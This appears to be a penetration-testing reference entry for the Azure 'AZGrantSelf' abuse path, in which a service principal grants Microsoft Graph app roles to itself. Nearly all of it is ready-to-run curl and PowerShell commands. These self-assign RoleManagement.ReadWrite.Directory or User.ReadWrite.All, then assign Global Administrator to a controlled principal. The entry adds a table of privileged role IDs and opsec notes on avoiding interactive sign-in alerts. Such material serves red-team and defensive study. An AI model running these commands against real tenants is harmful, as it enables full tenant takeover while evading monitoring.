AZGrantSelf

The source service principal can grant app roles to itself on the target resource SP β€” effectively self-assigning any application permission without admin consent from another principal.

Applies to: AZServicePrincipal β†’ AZServicePrincipal (resource)


Linux Abuse

Self-assign RoleManagement.ReadWrite.Directory (curl)

TOKEN=$(curl -s -X POST \
  "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
  -d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
  | jq -r '.access_token')

# Get MS Graph SP object ID
GRAPH_SP_ID=$(curl -s \
  "https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId eq '00000003-0000-0000-c000-000000000000'" \
  -H "Authorization: Bearer $TOKEN" | jq -r '.value[0].id')

# Self-assign RoleManagement.ReadWrite.Directory (app role ID)
curl -s -X POST "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/appRoleAssignments" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"principalId\": \"<object-id>\",
    \"resourceId\": \"$GRAPH_SP_ID\",
    \"appRoleId\": \"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\"
  }"

After self-grant β€” assign Global Admin to controlled principal

curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "principalId": "<object-id>",
    "roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
    "directoryScopeId": "/"
  }'

Self-assign User.ReadWrite.All then reset password

# App role ID for User.ReadWrite.All: 741f803b-c850-494e-b5df-cde7c675a1ca
curl -s -X POST "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/appRoleAssignments" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"principalId\": \"<object-id>\",
    \"resourceId\": \"$GRAPH_SP_ID\",
    \"appRoleId\": \"741f803b-c850-494e-b5df-cde7c675a1ca\"
  }"

Windows Abuse

BARK β€” self-grant app role

$Token = Get-MSGraphTokenWithClientCredentials `
  -ClientID "<app-id>" -ClientSecret "<secret>" -TenantName "<tenant-id>"

# Get MS Graph SP ID
$GraphSP = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"

New-MgServicePrincipalAppRoleAssignment `
  -ServicePrincipalId "<object-id>" `
  -PrincipalId "<object-id>" `
  -ResourceId $GraphSP.Id `
  -AppRoleId "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"  # RoleManagement.ReadWrite.Directory

Microsoft.Graph PowerShell β€” then escalate

Connect-MgGraph -AccessToken <access-token>

# After self-granting RoleManagement.ReadWrite.Directory
$params = @{
  principalId      = "<object-id>"
  roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10"
  directoryScopeId = "/"
}
New-MgRoleManagementDirectoryRoleAssignment @params

Key App Role IDs (MS Graph)

Permission App Role ID
RoleManagement.ReadWrite.Directory 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8
User.ReadWrite.All 741f803b-c850-494e-b5df-cde7c675a1ca
GroupMember.ReadWrite.All dbaae8cf-10b5-4b86-a4a1-f871c94c6695
Application.ReadWrite.All 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9
Directory.ReadWrite.All 19dbc75e-c2e2-444c-a770-ec69d8559fc7

Opsec

  • Self-granting generates an audit log event: "Add app role assignment to service principal."
  • This is invisible in the Azure portal UI under Enterprise Apps but visible in audit logs.
  • Token obtained via client_credentials after self-grant does not trigger interactive sign-in alerts.